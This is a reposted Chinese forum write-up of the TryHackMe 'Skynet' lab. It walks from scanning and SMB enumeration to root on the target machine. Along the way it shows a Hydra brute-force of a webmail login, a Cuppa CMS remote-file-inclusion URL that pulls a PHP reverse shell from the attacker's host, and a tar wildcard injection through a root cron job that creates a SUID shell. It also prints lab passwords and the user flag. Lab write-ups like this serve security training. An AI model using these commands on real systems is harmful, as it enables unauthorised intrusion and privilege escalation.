惊落一身雪 发表于 2024-7-10 21:58:26

THM-Skynet-Writeup

通过学习相关知识点:攻破Linux目标机器并完成提权操作。
https://img2024.cnblogs.com/blog/3019281/202407/3019281-20240710163021080-1829978773.png
摆设并渗出目标机器

step1

利用Nmap扫描端口
nmap -p- -sC -sV -T4 -v 10.10.164.81https://img2024.cnblogs.com/blog/3019281/202407/3019281-20240710163104477-370093092.png
139/445端口开放,可知目标机开启了SMB服务
罗列SMB共享
smbclient -L \\10.10.164.81https://img2024.cnblogs.com/blog/3019281/202407/3019281-20240710163125299-790343385.png
获取到一些可能能访问的SMB服务账号:anonymous、milesdyson
利用下令连接SMB服务中的匿名账户并获取所需文件
smbclient// 10.10.164.81/anonymoushttps://img2024.cnblogs.com/blog/3019281/202407/3019281-20240710163336813-1404364501.png
分析attention.txt文本内容:管理员关照员工及时修改密码修改,所以近来可能发生过密码更改行为,根据文本内容中的署名及SMB服务账户名称--管理员账户为milesdyson
我们还得到了一份密码记录,该密码记录中可能包含了目标站点的密码信息
利用gobuster扫描目次(针对目标站点)
gobuster dir -u http://10.10.164.81/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt --no-errorhttps://img2024.cnblogs.com/blog/3019281/202407/3019281-20240710163456041-1747504603.png
访问目标站点的二级目次/squirrelmail(10.10.164.81/squirrelmail)效果会自动跳转至/squirrelmail/src/login.php页面--这是一个邮件体系的登录页面
https://img2024.cnblogs.com/blog/3019281/202407/3019281-20240710163516256-1816081294.png
结合已知信息利用Hydra 爆破上图中的邮件服务器登录页面
hydra-l milesdyson -P log1.txt 10.10.164.81 http-form-post "/squirrelmail/src/redirect.php:login_username=milesdyson&secretkey=^PASS^&js_autodetect_results=1&just_logged_in=1:F=Unknown User or password incorrect."https://img2024.cnblogs.com/blog/3019281/202407/3019281-20240710163602431-1680808996.png
https://img2024.cnblogs.com/blog/3019281/202407/3019281-20240710163609877-1313958476.png
破解得到的效果:milesdyson cyborg007haloterminator
step2

登录邮件服务器并查看邮件信息
访问10.10.164.81/squirrelmail/src/login.php页面进行登录即可
https://img2024.cnblogs.com/blog/3019281/202407/3019281-20240710163633635-832498000.png
https://img2024.cnblogs.com/blog/3019281/202407/3019281-20240710163643347-602878978.png
由邮件信息可知,SMB账户milesdyson的新密码为:)s{A&2Z=F^n_E.B`
登录SMB账户
smbclient -U milesdyson //10.10.164.81/milesdysonhttps://img2024.cnblogs.com/blog/3019281/202407/3019281-20240710163715197-78226531.png
查看文本文件内容
https://img2024.cnblogs.com/blog/3019281/202407/3019281-20240710163723568-439974794.png
获取到的有效信息:二级目次/45kra24zxs28v3yd
https://img2024.cnblogs.com/blog/3019281/202407/3019281-20240710163730260-1995245811.png
step3

针对隐藏二级目次进行目标扫描
gobuster dir -u http://10.10.164.81/45kra24zxs28v3yd/ -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt --no-errorhttps://img2024.cnblogs.com/blog/3019281/202407/3019281-20240710163739764-1134752312.png
得到CMS后台管理的登录页面:http://10.10.164.81/45kra24zxs28v3yd/administrator/
https://img2024.cnblogs.com/blog/3019281/202407/3019281-20240710163745585-1182422686.png
CMS信息:Cuppa CMS
根据CMS信息查找exp
在https://www.exploit-db.com/上搜索关键字Cuppa以查找Cuppa CMS相关的毛病exp
https://img2024.cnblogs.com/blog/3019281/202407/3019281-20240710163753981-1722405660.png
step4

构造payload以获取目标shell
继承查看相关exp的利用方法
https://img2024.cnblogs.com/blog/3019281/202407/3019281-20240710163806052-634952499.png
我们可以构造如下的长途文件包含payload,在欣赏器执行即可
http://$IP1/45kra24zxs28v3yd/administrator/alerts/alertConfigField.php?urlConfig=http://$IP2/php-reverse-shell.php 原理:利用相关CMS的长途文件包含毛病,让目标页面长途包含--本地攻击机所开启的简易服务器上的反向shell文件,这样我们在欣赏器中一旦输入上述payload 就能让目标页面弹一个shell到我们的本地攻击机。
我们首先要在本地机上建立并修改好一个可利用的反向shell文件(主要是修改shell文件内容中的ip信息和端口信息),然后我们再在本地机上开启一个简易的服务器以便目标服务器实现长途包含,我们还需要建立一个Netcat监听器以便接收来自目标服务器的shell。
https://img2024.cnblogs.com/blog/3019281/202407/3019281-20240710163817053-1325756822.png
https://img2024.cnblogs.com/blog/3019281/202407/3019281-20240710163822914-1852396129.png
完成上述操作后,我们在本地机的欣赏器中针对目标页面 执行长途包含毛病的相关payload即可
http://10.10.164.81/45kra24zxs28v3yd/administrator/alerts/alertConfigField.php?urlConfig=http://10.13.16.58:8000/php-reverse-shell.phphttps://img2024.cnblogs.com/blog/3019281/202407/3019281-20240710163832143-1611410927.png
查看user flag
我们已经成功获取到目标shell,所以利用shell界面查看user flag即可
which python #验证目标机有无Python环境
python -c "import pty; pty.spawn('/bin/bash')" #利用Python环境将当前shell切换为一个更稳定的shellhttps://img2024.cnblogs.com/blog/3019281/202407/3019281-20240710163838744-1220279132.png
user flag:7ce5c2109a40f958099283600a9ae807
https://www.cnblogs.com/assets/net-img-2857591-20230210185222563-211659773-20240528214744-c7gc79n.pnghttps://img2023.cnblogs.com/blog/2857591/202302/2857591-20230210185222563-211659773.png
step5

进行提权操作
继承利用shell界面,进入backups目次并查看其中的文件内容
https://img2024.cnblogs.com/blog/3019281/202407/3019281-20240710163846592-1274673226.png
由上图可知以下信息:
backups目次下有一个backup.sh文件,其内容和作用是--切换目次至/var/www/html 并将该目次下的所有内容归档为backup.tgz压缩文件,该tgz文件保存在backups目次下;
通过查看/etc/crontab即定时任务可知--刚才描述的backups目次下的backup.sh文件是一个定时任务,该.sh脚本每分钟都会以root身份执行。
在查询 GTFOBins 网站后,我们发现通过tar下令可以利用一个名为–checkpoint的参数,该参数允许在每次归档 X 个文件时(X的默认值为10)显示“进度”消息, –checkpoint还可以与 –checkpoint-action 标志串联利用,–checkpoint-action标志允许在到达检查点(checkpoint)时以二进制或脚本的形式执行某些操作。
结合前述已知信息:由于backups目次下的backup.sh脚本中利用的通配符* 将对 /var/www/html 目次中的所有文件和文件夹执行归档下令,因此我们可以通过在/var/www/html下添加 –checkpoint=1 文件(启用检查点功能)和 –checkpoint-action=exec=xxx 文件(指定要执行的操作,检查点值为1,每归档一个文件都执行指定操作),那么当 tar 处置惩罚到以上文件时,相关的文件名将会被有效地视为tar下令的参数--从而执行某些操作。
在/var/www/html目次下创建一个BASH脚本,该脚本的执行效果将创建一个实质为bash副本的 SUID 二进制文件,我们将该脚本命名为newroot.sh:
echo "cp /bin/bash /tmp/nroot && chmod +s /tmp/nroot" > newroot.shhttps://img2024.cnblogs.com/blog/3019281/202407/3019281-20240710163856983-974731872.png
继承在/var/www/html目次下执行下令创建以下两个文件,这两个文件的实际作用是以文件名作为 tar 下令行中的参数:
touch"/var/www/html/--checkpoint=1"
touch"/var/www/html/--checkpoint-action=exec=sh newroot.sh"https://img2024.cnblogs.com/blog/3019281/202407/3019281-20240710163904847-2112286893.png
约莫一分钟后,cron 筹划作业(即backups目次下的backup.sh脚本)将会以root权限自动运行,从而能够成功创建一个SUID文件(/tmp/nroot),我们可以利用 -p 标志执行该SUID文件,这将允许以该文件的所有者身份(root)执行此二进制文件,进而可以根据此二进制文件的内容切换到root shell。
cd/tmp
ls
/tmp/nroot -p
whoamihttps://img2024.cnblogs.com/blog/3019281/202407/3019281-20240710163911620-449054476.png
查看root flag
通过刚才获得的root shell界面查找对应flag即可

免责声明:如果侵犯了您的权益,请联系站长,我们会及时删除侵权内容,谢谢合作!更多信息从访问主页:qidao123.com:ToB企服之家,中国第一个企服评测及商务社交产业平台。
页: [1]
查看完整版本: THM-Skynet-Writeup